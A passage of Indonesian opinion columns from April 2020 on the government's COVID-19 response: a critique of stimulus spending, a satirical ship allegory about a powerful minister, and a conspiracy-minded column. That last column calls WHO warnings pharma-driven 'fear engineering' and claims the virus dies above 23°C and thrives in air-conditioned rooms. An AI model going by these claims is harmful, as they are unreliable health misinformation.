corona buruk itu. Kebijakan itu boleh sangat diperlukan krisis berakhir. Entah kapan? Seperti krisis hebat di Amerika tahun 1933. Saat ini pemerintah telah membuat Perpu Nomor 1 Tahun 2020. Judulnya panjang sekali. Perpu ini menjadi fundasi terkuat atas kebijakan penambahan anggaran untuk stimulus sebesar Rp. 405,1 trilyun. Dari jumlah itu, sekitar Rp. 110 triliun dialokasikan untuk yang disebut Social Safety Net. Dalam sejarahnya kebijakan dengan nama yang sama, dipraktikan pertama kali di Amerika pada tahun 1933 oleh Franklin Delano Rosevelt. Presiden Rosevelt mengambi sikap ini diambil atas nasihat John Meynard Keynes. Sekitar Rp. 75 triliun lagi dialokasikan untuk belanja alat-alat kesehatan. Bagaimana dengan sisa yang Rp 220 triliun lagi itu? Kalau tak salah, dialokasikan untuk membiayai relaksasi Kredit Usaha Rakyat (KUR). Terus yang lain lagi? Digunakan sebagai untuk biaya berbagai bunga dari kredit berbagai entitas usaha. Termasuk UMKM? Siapa tukang kredit ini? Tepatkah kebijakan itu? Dalam sejarahnya, krisis akan semakin buruk bila tidak tepat menanganinya. Sejarah menunjukan dengan jelas bahwa krisis selalu menyediakan momentum percepatan melipagndakan kekayaan dari korporasi besar dalam sejumlah aspek. Berapa sih jumlah mereka korporasi besar itu dibadingkan yang UMKM? Pasti mereka korporasi besar hanya segelintir saja. Masih yang itu-itu juga. Penanganan krisis tahun 1998 dapat dijadikan sebagai ilustrasi kecil dan pembelajaran. Bahwa usai krisis itu, Indonesia menemukan kenyataan korporasi besar yang dinilai terpukul, sekaligus menjadi bagian dari sebab utama krisis 1998 itu, ternyata tetap saja besar. Semantara yang kecil tetap saja kecil. Cara penanganan ini, khas Amerika. Dipraktikan pertama kali pada krisis keuangan tahun 1907. Krisis ini mengonsolidasi korporasi besar di satu sisi, dan tetap besar. Sementara di sisi lain, yang kecil tetap saja kecil. Cara ini digunakan lagi, dengan sedikit modifikasi pada krisis tahun 1933. Kali ini master mind pemecahannya adalah John Meynard Keynes. Cara yang sama digunakan lagi di Indonesia pada krisis keuangan tahun 2008. Instrumen politik dan hukum bekerja dengan nada yang sama. Politik bekerja melipatgandakan propaganda efek negatif dari krisis, dan keperluan untuk memecahkannya. Supaya legitim dan aman dari segala bencana hukum kelak, maka dibuatlah berbagai UU. Pola ini telah mendunia di berbagai negara. Rantai pengikatnya adalah World Bank dan IMF. Itu sebabnya, sulit untuk tak menandai ilmu tata negara dan administrasi negara, yang diandalkan mengatasi krisis, sebagai fotocopyan ilmu tata negara dan administrasi negara Amerika. Ini ilmu tradisional. Paling tidak konvensional. Ini bukan ilmu canggih. Ilmu ini biasa-biasa saja. Skandal TKA China & Staf Khusus Terlepas dari itu semua, menarik melihat sikap diam Presiden atas sejumlah soal belakangan ini dalam penanganan efek ekonomi corona. Presiden diam terhadap masuknya tenaga kerja China yang heboh beberapa waktu lalu. Apakah tanpa tenaga kerja China ini, korporasi-korporasi yang sedang menambang di Weda Halmahera Tengah dan Obi, Halmahera Selatan di Maluku Utara bangkrut? Entahlah. Belangan muncul kebijkakan lain. Kebijakan realisasi kartu prakerja. Tetapi penerima harus mengikuti pelatihan online. Itu menarik. Sama menariknya dengan diskount Pertamina kepada Ojek Online. Kebijakan ini menarik pertanyaan kritis Pak Dipo Alam, Sekertaris Kabinet pada Pak Susilo Bambang Yudhoyono, periode kedua. Mengapa ojek non online? Mengapa juga angkot-angkot, tak masuk skema itu? Begitu kurang lebih pertanyaan Pak Dipo Alam? Apakah ojek biasa dan angkot tidak terkena dampak buruk ekonomi corona? Apakah mereka sedang berkibar dengan keuntungan melimpah di tengah merebaknya virus corona? Apa hanya karena mereka tidak terikat dengan satu korporasi besar? Sehingga mereka tidak dilibatkan? Belum terlihat sikap Pak Presiden megenai soal itu. Pak Presiden juga tampak diam dalam kasus Surat Staf Khususnya yang ditujukan kepada para Camat di seluruh Indonesia. Dalam esensinya, surat itu meminta Camat menyertakan relawan-relawan sebuah perusahaan. Entah punya siapa perusahaan itu, diminta Staf Khusus Presiden untuk ikut dalam menangani corona. Akankah sikap Presiden itu, yang pada setiap aspeknya mengundang tanya. Mengeras menjadi sikap pemerintahannya dalam menangani keadaan ekonomi corona lebih lanjut? Krisis, kapan dan dimanapun selalu menyediakan momentum menginjeksi ide-ide segar. Beralasankah bangsa Indonesia menunggu kemungkinan muncul ide segar dari Presiden menangani krisis ini? Dikenang Sebagai Bapak UMKM Korporasi besarkah, yang sering ditandai membiayai sebagian operasinya, produksinya atau apapun namanya dengan hutang, kredit bank, yang akan muncul menjadi center of presidential mind and policy? Beranikah Presiden mengubah paradigma klasik itu, dan menggantikannya dengan, kalau bukan paradigma baru, ya setidaknya ide baru? Cukup bernyalikah Presiden menempatkan, menjadikan dan melambungkan UMKM sebagai master ekonomi baru menggantikan korporasi besar? Toh korporasi-korporasi besar itu, tidak sepenuhnya hebat karena kecanggihan inovasi semata. Mereka hebat dan besar, setelah berkah kebijakan-kebijakan pemerintah yang bekerja untuk mereka. Kebijakan melambungkan UMKM tidak dapat dinilai diskriminatif, dalam semua skala pemikiran konstitusi. Mengapa? Bukankah mengutamakan korporasi besar di satu sisi, dan membantu UMKM apa adanya atau sekadarnya saja di sisi lain, dalam sifat dan bentuknya adalah diskriminatif? Mengutamakan atau mengistimewakan korporasi besar, yang telah menjadi trade mark kebijakan pemerintah dimanapun, terutama Amerika, ternyata hanya mempertahankan, malah memperparah ketimpangan struktural usaha. Praktis kebijakan khas Wall Street itu tidak lebih dari metode “pendalaman ketimpangan” struktur usaha. Akankah Presiden bisa diharapkan memunculkan kebijakan berbeda dalam menangani kelompok-kelompok usaha terdampak corona ini? Akankah keberanian tertanam dalam benaknya, sehingga Presiden berpihak secara istimewa pada UMKM? Ini bukan soal pilihan paradigma. Ini soal keberanian yang dibalut kecerdasan berkadar tinggi. Sehingga akan dikenang sebagai “Bapak UMKM”? Hentikan proyek ibu kota baru, bisa menjadi awal yang menjanjikan. Sikap ini pasti dikeroyok oleh korporasi besar. Mereka tak tinggal diam menghadapi sikap itu. Tetapi sejarah akan lahir dengan catatan atas sikap itu selamanya sebagai sikap hebat, bermartabat dan berkelas, sehingga yang pantas dikenang sebagai kenangan terindah.* Penulis adalaha Pengajar Hukum Tata Negara Universitas Khairun Ternate

Opung dan Vivere Pericoloso

Oleh Smith Alhadar (Direktur Eksekutif The Institute for Democracy Education-IDe) Jakarta, FNN - Orang Indonesia paling berani, sekaligus paling berkuasa, hari ini adalah Opung. Bayangkan, dia menakhodai sendiri bahtera Indonesia secara amatiran, menempatkan seluruh penumpang dalam keadaan bahaya. Manuver Opung yang lancang ini disebut orang sebagai vivere pericoloso: nyerempet-nyerempet bahaya. Penumpang cemas karena Opung bukan nakhoda yang resmi. Dia tak punya sertifikat ilmu pelayaran. Nakhoda yang resmi, Jae namanya, disuruh tidur. Jae pun senang disuruh tidur karena, meskipun memiliki sertifikat, ia tak tahu apa-apa tentang kapal, badai, dan samudera. Sertifikatnya juga abal-abal, diperolehnya secara tipu-tipu atas sokongan Opung dan bajak laut. Hanya sesekali Jae kaget, mengigau, lalu tenggelam kembali dalam mimpi-mimpi indah. Sudah sejak awal, ketika kapal berlayar lebih dari lima tahun lalu, Opung mengambil alih kemudi. Bahkan, amat sering ia mengerjakan tugas-tugas awak kapal juga. Pokoknya, semua urusan kapal ditanganinya sendirian sehingga seluruh awak dan nakhoda terlihat menganggur. Tapi realitas inilah yang membuat penumpang khawatir akan nasib kapal dan nasib mereka sendiri. Masalahnya, makin hari kapal makin oleng. Badai dan gelombang makin menjadi-jadi. Sementara pulau tujuan belum juga nampak. Melihat keadaan samudera dan kondisi kapal, sebagian penumpang tak yakin kapal akan sampai di tujuan dengan selamat. Ada juga satu-dua penumpang yang akal sehatnya masih tersisa, yang sejak awal mendukung Jae sebagai nakhoda resmi, mulai ragu. Mungkin juga siuman. Sisanya berlagak seperti bangau, yang ketika melihat bahaya, memasukkan kepalanya ke dalam pasir, lupa bahwa badannya masih nongol di permukaan. Sekarang terjadi kebingungan hebat di atas kapal sejak covid-19 menyerang. Satu demi satu penumpang yang terpapar virus jatuh sakit atau malah mati dan jenazahnya dibuang begitu saja ke laut. Ajaibnya, Opung -- yang sama sekali tidak pernah sekolah kedokteran -- malah maju memimpin penanggulangan wabah. Ia mengatur semaunya dengan mengabaikan nasihat ilmuan. Kapal mulai heboh. Yang sakit dan mati meningkat secara eksponensial. Sementara kebutuhan penumpang di kapal mulai berkurang. Mulai terbayang di benak mereka kisah tenggelamnya kapal Titanic. Kapal yang naas itu tenggelam secara tragis di Samudera Atlantik, membunuh semua awaknya yang merupakan orang kebanyakan, kecuali orang-orang kaya dan bangsawan. Bahtera Indonesia saat ini menyerupai Titanic. Segelintir awak kapal yang kompeten ingin membantu menyelamatkan kapal, namun kebijakan mereka dianulir Opung. Mengapa dalam situasi genting ini -- di saat semua awak perlu bersinergi untuk menyelamatkan seluruh penumpang tanpa kecuali -- Opung masih ngotot bereksperimen dengan ide-idenya yang sulit difahami orang. Bukan karena ide-ide itu begitu canggihnya sehingga tak mampu dicerna penumpang, tapi karena bertentangan dengan akal sehat dan sains. Sains mengatakan harus ada lockdown untuk memutus rantai penularan wabah sebagaimana dilakukan banyak negara dengan berhasil atau memperlihatkan gejala akan berhasil, seperti dialami Selandia Baru dan beberapa negara lainnya. Amerika, yang penanganannya menyerupai Indonesia, kini tampil sebagai negara dengan korban covid-19 tertinggi di dunia, dan belum ada tanda-tanda akan segera mereda. Karena tak yakin dengan cara Opung menangani wabah berbahaya ini, penumpang berspekulasi, jangan-jangan Opung memilih kebijakan herd immunity (kekebalan kelompok), ketimbang mengorbankan ekonomi. Dengan kata lain, biarkan 2-4% penumpang mati demi stabilitas ekonomi agar kapal tidak karam. Ini ide gila, kata para cerdik pandai di kapal. Menyelamatkan seluruh penumpang dengan menjaga kebutuhan dasar mereka merupakan hukum tertinggi di kapal. Bahkan, kalau perlu, nakhoda harus ikut mati bersama penumpang sesuai etika pelayaran sebagaimana matinya kapten Titanic. Yang membuat para cerdik pandai di kapal marah karena ide-ide Opung itu tidak sesuai dengan kapasitas kapal untuk mendukungnya. Juga tidak sesuai dengan keadaan samudera yang siap mengaramkan kapal reot ini. Tapi, Opung tidak peduli. Ia bahkan mengancam menghukum penumpang cerewet yang memprotes ide-idenya. Dengan kekuasaan besar di atas kapal, yang dilimpahkan Jae yang tak punya ide dan lebih memilih tidur, Opung menyetir kapal tanpa kompas dengan prinsip vivere pericoloso. Kekuasaannya begitu besar yang tak ada presedennya dalam sejarah modern negara Indonesia. Tak ada menteri yang menguasai mutlak presiden, kecuali pada rezim Jae. Bahkan kekuasaan Opung melebihi Perdana Menteri Gajah Mada. Ia tak perlu berkonsultasi dengan Jae dalam mengambil keputusan. Bahkan kebijakan awak yang brilian, seperti Wan Abood, sesuai wewenang dan keahliannya berkali-kali dianulir Opung. Bukan karena kebijakannya tak sesuai Pembatasan Sosial Berskala Besar, tapi Wan Abood terlalu hebat. Ide-ide cemerlangnya membuat Opung dan Jae sebagai nakhoda resmi terlihat kerdil terkait dengan penanggulangan wabah. Langkah Wan Abood selalu lebih cepat, terukur, dan akurat, serta menabrak kebijakan Opung yang sesat. Contohnya, Opung membatalkan kebijakan Wan Abood membatasi operasi transportasi sebagai konsekuensi dari kebijakan social distancing dari pemerintah. Contoh lain, Opung menganulir kebijakan Wan Abood melarang ojol mengangkut penumpang sejalan dengan PSBB. Opung membolehkan ojol mengangkut penumpang. Padahal itu menyalahi kebijakan physical distancing. Orang pun melihat kelakuan Opung ini bertujuan mengerdilkan awak yang terlalu pandai dan mewujudkan ide gilanya menyelamatkan ekonomi. Melihat kelakuan Opung yang overconfident dalam menguasai kapal, penumpang pun bertanya: apakah kita akan sampai di tujuan dengan selamat sentosa tanpa kekurangan suatu apa pun? Suara terpecah. Ada yang yakin, ragu, dan sama sekali tak yakin. Penumpang pun teringat pada Soekarno, orang cerdas yang populis, yang memperkenalkan prinsip vivere pericoloso. Pada era itu, Soekarno menakhodai Indonesia mengarungi samudera luas yang penuh bahaya. Dan dia gagal. Badai politik yang menerpa kapal tak sanggup ia kendalikan. Para penumpang yang dikendalikan seorang awak akhirnya mengambil alih kemudi kapal. Soekarno terhempas, dikarantinakan, kemudian hilang. Jasa besarnya redup dan baru dikenang kembali secara sayup-sayup di kemudian hari. Soekarno memang berhasil memerdekakan Indonesia. Namun, ia gagal memajukan dan menyejahterakan Indonesia. Lalu, bagaimana dengan nasib bahtera Indonesia di bawah Opung? Juga, bagaimana Opung sendiri? Entahlah. Tapi jelas kapal sedang tersesat di tengah badai di samudera luas tak bertepi. Di sana-sini mulai terjadi kebocoran. Ide-ide Opung dalam mengendalikan kapal banyak diprotes penumpang yang cerdas karena tidak berbasis ilmu dan tak sejalan dengan harapan penumpang. Maka kita melihat terjadi kekacauan di kapal, perbenturan antara Opung dengan awak, Opung dengan penumpang, dan antara awak dengan awak. Jae sempat terbangun oleh riuh-rendah di kapal, tapi kemudian tertidur lagi karena toh dia tak tahu apa yang mesti dilakukan. Apakah kemudian awak dan penumpang akan mengambil alih kapal sebagaimana yang terjadi pada rezim Soekarno, Soeharto, dan Gus Dur? Itu bisa saja, mengingat Opung nampak bakal tak sanggup mengendalikan kapal, sementara penumpang makin kritis dalam menanggapi manuver Opung. Kalau pada akhirnya penumpang melihat kapal akan segera karam, tak ada pilihan lain bagi mereka kecuali menyingkirkan Opung, juga Jae. Sebenarnya Jae tak salah karena tidak melakukan apa-apa selama ini, kecuali tidur. Bukankah kita tak adil meminta pertanggungjawaban pada orang yang tidak melakukan apa-apa? Yang melakukan semuanya kan Opung! Jadi, mintalah pertanggungjawban pada Opung, bukan aku. Tapi di situlah kesalahanJae karena tidak berbuat apa-apa di saat dia harus melakukannya sesuai konstitusi dan sesuai sertifikat yang dimilikinya sebagai kapten kapal. Kekacauan di atas kapal ini tidak direspons secara memadai oleh Opung atas nama Jae. Sebagian penumpang melihat Opung telah kelelahan dan tak bertenaga lagi, karena itu kemudi kapal harus segera diambil dari tangan Opung sebelum kapal benar-benar karam. Tapi sebagian lain berharap ada mukjizat dari Opung untuk menyelamatkan kapal. Apapun, banyak penumpang mulai menangis menghadapi situasi yang menyeramkan ini dan tak tahu harus berbuat apa. Nasib bahtera Indonesia kini terletak pada kaum cerdik pandai dengan dukungan mayoritas penumpang kapal. Dan sayup-sayup terdengar suara Tuhan: Aku tak akan mengubah nasib suatu kaum sampai kaum itu mengubah nasib mereka sendiri! *****

Dunia dalam Rekayasa Kehidupan

Oleh Tony Hasyim Jakarta, FNN - Sengaja judul tulisan ini saya sadur dari sebuah buku berjudul “Indonesia Dalam Rekayasa Kehidupan” tulisan Komisaris Jenderal Polisi Drs. Dharma Pongrekun , M.M., M.H., yang terbit pada Oktober tahun lalu. Setelah mengamati perkembangan wabah Covid-19 sebulan terakhir, apa yang digambarkan dalam buku tersebut ternyata persis dengan keadaan dunia termasuk Indonesia hari ini yang dipenuhi rasa ketakutan. Kemarin, seorang kawan di sebuah BUMN mengirim link berita online berjudul “Petinggi WHO: Virus Corona 10 Kali Lebih Berbahaya dari Flu Babi.” Lalu si kawan memberi komentar di bawahnya, “Orang ini diberi tugas nakut-nakutin seluruh manusia di dunia”. Lalu saya jawab, “Ini namanya fear engineering, bro !!!”. Berita tersebut berisi penyataan Direktur Jenderal Organisasi Kesehatan Dunia (WHO) Tedros Adhanom bahwa Covid-19 sepuluh kali lebih mematikan dibanding flu babi (H1N1) yang mewabah tahun 2009. Korban yang meninggal karena flu babi mencapai 18.500 orang, sedangkan virus Corona diperkirakan hampir 115.000 orang. "Langkah-langkah pengendalian harus mulai dilakukan dan dikontrol. Pada akhirnya, kita memerlukan vaksin yang aman dan efektif agar bisa menghentikan transmisi ini sepenuhnya," katanya. Siapa yang tidak takut membaca penyataan dari organisasi yang menangani kesehatan dunia tersebut? Saya juga merinding. Tapi setelah baca keterangannya di ujungnya bahwa dunia butuh “vaksin yang aman dan efektif” untuk mengatasi virus tersebut, saya langsung menebak, pernyataan dia pasti pesanan dari elite industri farmasi dunia. Lain ceritanya kalau dia menghimbau masyarakat dunia supaya berjemur matahari atau mengasup rempah-rempah atau obat-obatan alami yang banyak tumbuh di berbagai belahan bumi. Dia jelas-jelas menyebut vaksin. Artinya, wabah ini hanya bisa diatasi dengan obat yang dibuat oleh industrialis obat-obatan kimia. Padahal, sudah banyak ahli kesehatan independen menyatakan virus Corona ini tidak terlalu berbahaya seperti yang digambar-gemborkan WHO. Asal manusia punya imunitas tubuh uang kuat, mereka akan terproteksi dengan sendirinya. Tapi lewat pemberitaan dan informasi lewat internet (medsos dan sejenisnya) yang sudah mewabah sejak satu dekade terakhir imunitas manusia dilemahkan secara sistematis dengan propaganda-propaganda ketakutan melalui media massa dan media sosial. Anehnya WHO juga tidak menyebut fakta yang sebenarnya bahwa wabah penyebaran virus ini terjadi massive di negara-negara yang bersuhu dingin. Coba lihat peta negara-negara yang mengalami serangan terparah virus ini, Eropa, Asia belahan utara, Amerika belahan utara, semuanya berada berada di atas sub tropis yang suhunya sejak desember hingga sekarang masih dingin. Mereka itulah yang berada di ‘’Covid-19 Belt”. Indonesia harusnya relatif aman karena rata-rata temperature di atas 30 celsius. Sementara banyak ahli independen mengatakan virus tersebut akan mati dengan sendirinya pada suhu di atas 23 celsius. Bahwa argumen ini belakangan dibantah oleh WHO, seharusnya tugas pemerintah Indonesia mendiagnosis pola penyebaran virus ini secara mandiri dan mencari tahu cara penangkalnya. Virus ini kalau berdasarkan angka-angka yang tiap hari di rilis oleh pemerintah memang penyebarannya nampak cepat sekali di Indonesia. Tetapi apakah kita juga mau membantah virus ini dapat ditangkal dengan imunitas tubuh yang kuat? Benar sudah banyak korban yang berjatuhan di Indonesia, termasuk para dokter dan perawat yang menanganinya. Tapi apakah sudah ada hasil penelitian independen yang dilakukan pemerintah kita? Karena yang saya lihat mereka yang terpapar Covid-19 malah diisolasi diruang ber-AC. Bukankah tempat dingin seperti ini malah membuat virus tersebut berkembang biak dan menyerang siapa pun yang ada di dalamnya? Covid-19 menurut versi WHO mulai mewabah di negeri Tiongkok pada akhir 2019, kemudian menyebar ke seluruh dunia dan di Indonesia sendiri baru heboh sejak awal Maret ketika Presiden Jokowi sendiri mengumumkan adanya dua warga negara Indonesia yang sudah positif terpapar (Alhamdulillah ternyata kedua orang yang dimaksud bisa sembuh). Dua pekan sebelumnya Menteri Kesehatan Letjen TNI Terawan Agus Putranto sudah meminta rakyat Indonesia tidak panik menghadapi virus ini dan menghimbau agar rakyat Indonesia terus berdoa agar diberi perlindungan, sambil tetap bekerja secara normal. Terawan menggunakan istilah ora et labora (bekerja sambil berdoa). Tapi Terawan justru dibully oleh pengamat-pengamat yang kemudian di-follow oleh netizer. Pernyataan Terawan dianggap tidak sinkron dengan rilis WHO yang terus mendengungkan betapa bahayanya virus ini. Saya dengar Terawan diminta tidak bicara lagi ke publik soal virus ini. Sejak itu peran Kemenkes yang seharusnya menjadi leading sector dalam penanganan wabah penyakit diserahkan ke Badan Nasional Penanggulangan Bencana (BNPB). Bahkan dalam perkembangan terakhir “Kementerian Desa” diserahi tugas memberikan edukasi kepada warga pedesaan tentan tahapan, gejala, cara penularan dan pencegahan Covid-19 sesuai protokol kesehatan dan standar WHO. Catat, semua harus pakai standar WHO. Penggunaan ruang isolasi ber-AC dan perlengkapan pelindung diri para tenaga medis yang menurut saya sangat menyesakkan tubuh itu, sepertinya sesuai protokol WHO. Apa tidak ada metode lain? Padahal dua orang yang disebut sebagai korban pertama oleh Jokowi sudah membuat video viral bahwa mereka sudah sembuh dan berterimakasih kepada Jokowi karena dikirimi jamu temulawak. Artinya tim Indonesia sudah bisa dong menyembuhkan pasien Covid-19 secara mandiri jauh sebelum WHO mengintervensi melalui protokol-protokolnya. Serangan Virus dan Cengkraman Hutang “Fear Engineering” adalah dua kata yang dipakai Dharma dalam bukunya untuk memformulasikan metode yang dipakai sebuah “sistem global” untuk mengontrol seluruh umat manusia. Caranya manusia dibikin takut melalui terror attack, cyber attack, fear engineering (rekayasa ketakutan). Manusia yang mengalami ketakutan akan mencari pertolongan. Lalu datanglah dewa penolong, menawari bantuan, dalam bentuk apa saja, termasuk pinjaman uang, hibah dan sebagainya. Selanjutanya si manusia ini akan dikuasai seumur hidup oleh di dewa penolong tadi, sampai utang budinya lunas. Tidak usah jauh-jauh. Pemerintah Indonesia yang ketakutan “setengah mati” dalam menghadapi virus ini baru saja menerbitkan obligasi global atau surat utang global dengan nilai US$ 4,3 miliar atau Rp 68,8 triliun. Surat utang ini merupakan surat utang denominasi dolar AS terbesar sepanjang sejarah yang diterbitkan pemerintah Indonesia. "Ini penerbitan terbesar di dalam sejarah penerbitan US dolar bond oleh pemerintah Republik Indonesia," katanya Menteri Keuangan Sri Mulyani dalam teleconference, Selasa (7/4/2020). Berdasarkan per Februari 2020, utang pemerintah Indonesia sudah mencapai 4.817,5 triliun rupiah. Lalu ditambah dengan surat utang global senilai 68,8 triliun rupiah baru-baru ini, maka total utang pemerintah Indonesia saat ini lebih kurang 4.886,3 triliun rupiah. Lalu saya bandingkan dengan total asset negara Indonesia yang diumumkan Kementerian Keuangan pada Desember 2019, yang hanya 6000 triliun. Selisih utang pemerintah dengan asset negara tinggal 1.114 triliun rupiah saja. Belum lagi bila dikurangi dengan total utang luar negeri sektor swasta yang jumlahnya lebih kurang sama dengan utang pemerintah. Dalam hati saya berpikir, kalau begini jadinya bagaimana kita bisa merdeka dari cengkraman pengutang. Siapa itu? Rezim Global!!! Siapa itu rezim global? Jawabanya ada di buku Dharma yang saat membacanya membuat saya mulai paham semua permainan misterius yang terjadi selama ini. Menurut Dharma, rezim global adalah mereka yang menggerakan globalisasi menuju satu tatanan baru dunia. Globalisasi, katanya, bukan fenomema dunia yang bebas nilai, melainkan sebuah program yang dijalankan secara Terstruktur, Sistematis dan Masif (TSM). Laju globalisasi menjadi sangat dahsyat setelah teknologi informasi dan komunikasi dipertemukan oleh internet tahun 1991, maka sejak itu lahirlah Teknologi Informasi dan Komunikasi (TIK) sebagai sarana pendukung globalisasi untuk menguasai dunia. TIK tak lain adalah mesin Artificial Intelligence (AI) yang diprogram untuk berpikir dan bertingkah layak manusia. Tapi dibalik itu tujuannya adalah untuk mengendalikan mindset (pola pikir) manusia maupun memata-matai aktivitas hidup manusia sehari-hari. Apa yang kita googling, kita baca dan kita tulis di smartphone (perangkat TIK sudah dipakai oleh lebih kurang 60% pupulasi dunia) dipantau dan dianaliasi oleh elite global yang disebut “shadow”. Mereka ini sesungguhnya sudah me-melockdown populasi dunia agar tidak keluar dari aturan main mereka. Globalisasi menurut Dharma adalah sebuah sistem yang ingin mengusasi dunia dengan tiga program, yaitu Money, Power, dan Control Population (MPC). Sekarang Money dan Power sudah dikuasai oleh sistem globalisasi, melalui lembaga bernama IMF, World Bank dan kaki tangan mereka di semua pemerintahan di dunia. Tinggal program control population yang belum tuntas, tapi sekarang semakin mendekat paripurna dengan terus di dorongnya penggunaan TIK. Sekarang, jangkauan internet melewati satelit dan fiber optic bawah laut sudah menyebar ke 95% permukaan bumi. Maka tidak mengherankan ketakutan akan Covid-19 ini sudah menyebar di semua negara, kecuali negara yang memproteksi warganya dari “wabah internet”. Korea Utara, misalnya, kemarin mereka menyatakan negerinya adalah “Covid-19 Free”. Hari ini, setiap 15 April, rakyat Korea Utara dilaporkan melakukan perayaan besar-besaran dan menjadi hari libur nasional apa yang mereka namakan The Day of The Sun (Hari Matahari), yaitu hari kelahiran pendiri negara mereka Kim Il-sung. Rakyat di negeri tersebut memang tidak takut dengan Covid-19 karena internet memang disensor total bagi mereka. Kita belum tahu apa sebenarnya yang terjadi di Korea Utara. Yang jelas mereka tidak meminta pertolongan apa pun dan dari siapa pun di tengah ketakutan dunia akan virus ini. Manusia Digiring Menjadi ATHEIS Kembali ke buku Dharma, melalui sarana TIK itulah, sistem globalisasi melakukan rekayasa-rekayasa kehidupan (Life Engineering) untuk merubah pola kehidupan manusia. Rekayasa-rekaysasa tersebut berupa propaganda-propaganda melalui TIK yang menyebarkan rasa ketakutan kepada manusia. Manusia yang dipenuhi rasa takut - takut miskin, takut susah, takut tidak eksis - akan mencari perlindungan kepada manusia. Begitu juga negara yang diliputi rasa ketakutan karena terus mengalamiu krisis di dalam negerinya akan mencari perlindungan kepada IMF atau World Bank, dua lembaga motor penggerak globalisasi. Pada bagian ini, saya langsung membayangkan WHO, sebuah cabang United Nation (PBB) yang sekarang menakut-nakuti dunia dengan virus yang mereka namai Covid-19. Tiap hari WHO merilis angka-angka korban Covid-19 di seluruh dunia. Per hari ini WHO mengumumkan sudah 1,8 juta orang terpapar, dengan tingkat kematian mencapai 113 ribu orang dan penyebaran virus ini sudah mencapai 213 negara (termasuk wilayah dan teritorial). Padahal seingat saya tahun 2019 jumlah negara, area dan territorials yang terdaftar di PBB baru 196. Mengapa WHO sekarang menyebut jumlah 213. Nanti saya akan menelusurinya. Tapi yang pasti WHO cuma mau ngomong virus ini gawat sekali. Tidak ada manusia di muka bumi ini yang aman penyakit mematikan ini. Itulah tujuannya. Menakuti-nakuti manusia. Tapi ujungnya, nanti belilah antivaksin yang kami rekomensasikan. Kita lihat Indonesia pasti ikut membeli. Duitnya dari mana? Ya dari penerbitan surat utang itu tadi. Pada bagian akhir bukunya Dharma menyimpulkan globalisasi hanyalah sebuah sebuah sistem dari supra sistem yang merekayasa kehidupan manusia agar menjauh dari rasa keimanan kepada Kemahakuasaan Tuhan. Supra sistem ini mendoronhg manusia menjadi ATHEIS. Proses ini sudah terjadi sejak Allah menciptakan dunia, persisnya sejak Iblis berhasil menggoga Hawa untuk membujuk Adam memetik buah terlarang di Surga. Proses penyesatan tersebut terjadi sampai sekarang. Dharma mengingatkan kepada kita, bahwa iblis adalah oknum yang nyata dan terus mempengaruhi manusia agar menjauh dari Tuhan dan akhirnya manusia menemani iblis di neraka. Buku ini sangat menarik dibaca. Saya sendiri membaca lagi kemarin, sambil terkejut-kejut, karena apa yang dipaparkan Dharma cocok sekali dengan keadaan dunia dan Indonesia sekarang. Banyak manusia sekarang terlihat seolah-olah ber-Tuhan tapi perilakunya sehari-hari dikuasasi oleh hawa nafsu duniawi, yaitu kemewahan, kekerasan dan pornografi (semuanya bisa kita lihat di internet). Banyak orang mengaku bertuhan, tapi begitu WHO mengumumkan virus covid-19 ini sangat mematikan, semuanya ketakutan. Kemarin kemarin mereka bilang hidup dan mati ada di tangan Tuhan, tapi sekarang tiarap di mana mereka? Bahkan rumah ibadah pun ditutup agar tidak menjadi tempat penyebaran virus. Saya sendiri sudah empat kali tidak sholat Jumat akibat masjid-masjid tidak menyelenggarakan sholat jumat. Padahal menurut keyakinan agama saya, seorang pria cukup umur yang tidak sholat tiga kali berturut-turut dihitung sebagai munafik atau kafir. Mau pakai dalil pengecualian apa pun tapi itulah keyakinan yang ditanamkan oleh orang orang tua saya. Seorang pria muslim harus disiplin menegakan sholat berjamaah. Toh selama ini jika hujan badai, kita bela-belain sholat jumat. Dalam keadaan perang sehebat apapun kaum muslimin tetap menyelenggarakan sholat Jumat. Sekarang sholat Jumat dilarang oleh MUI dan Pemerintah karena dikhawatikan menjadi tempat penularan virus. Rumah ibadah yang suci malah ditakuti. Saudara-saudara saya sebangsa pemeluk Kristen juga dilarang Kebaktian Minggu. Belum pernah rasanya umat manusia didunia didikte oleh ketakutan sehebat ini. Padahal, secara hakiki tidak mungkin manusia memiliki rasa keberanian dan ketakutan pada saat yang bersamaan ketika ia memiliki Tuhan yang ia yakini akan membawa keselamatan bagi kehidupannya di dunia dan akhirat. Sekarang saya dipaksa menjadi penakut karena virus yang tidak terlihat. Lalu di mana Tuhan saya yang juga tidak terlihat? Itulah dilema yang berkecamuk di benak saya. Buku tulisan Dharma tersebut ini bisa dijadikan pisau analisa yang sangat tajam bagi kita terutama bangsa Indonesia yang selama ini dirundung oleh krisis demi krisis. Kemarin kita dihajar krisis ekonomi, kemudian muncul krisis teroris, lalu muncul krisis politik, sekarang muncul krisis virus. Pemerintahnya ketakutan, cari pinjaman uang untuk merasa “safe”. Tapi akhirnya negara kita semakin dijerat oleh hutang. Begitulah keadaan negari kita yang sekarang sudah terjebak lingkaran setan. Namanya lingkaran setan, yang harus dipatahkan lingkarannya, supaya kehidupan anak cucu kita tidak terus menerus terjebak dalam ketakutan yang membawa kita pada kebinasaan. Dharma dalam buku itu memberi solusi, dengan mengajak seluruh masyarakat Indonesia kembali untuk menggali dan menanamkan nilai-nilai Pancasila. Secara khusus Dharma mengajak kita semua “mendeklarasikan” diri kita sebagai manusia Berketuhanan Yang Maha Esa. Dengan begitu secara otomatis, lingkaran setan (baca, lingkaran ketakutan) tersebut akan terputus, sehingga kita kembali menjadi manusia yang Pancasilais yag dapat mewujudkan cita-cita proklamasi 1945 secara BERDIKARI seperti yang selalu didengungkan BUNG KARNO. Banyak pemikiran Dharma dalam buku ini yang melawan wacana atau opini mainstream tentang globalisasi. Apa yang direnungkan Dharma melalui buku itu sebenarnya banyak dipikirkan oleh rakyat Indonesia sekarang ini. Mengapa negeri kita yang besar, indah dan kaya raya keadaannya jadi begini. Kita terus berhutang dan dikontrol sebuah rezim global berwujud bayangan. [TH] Penulis Pemimpin Redaksi FNN

Pandemi Korona dan Ancaman Pengangguran

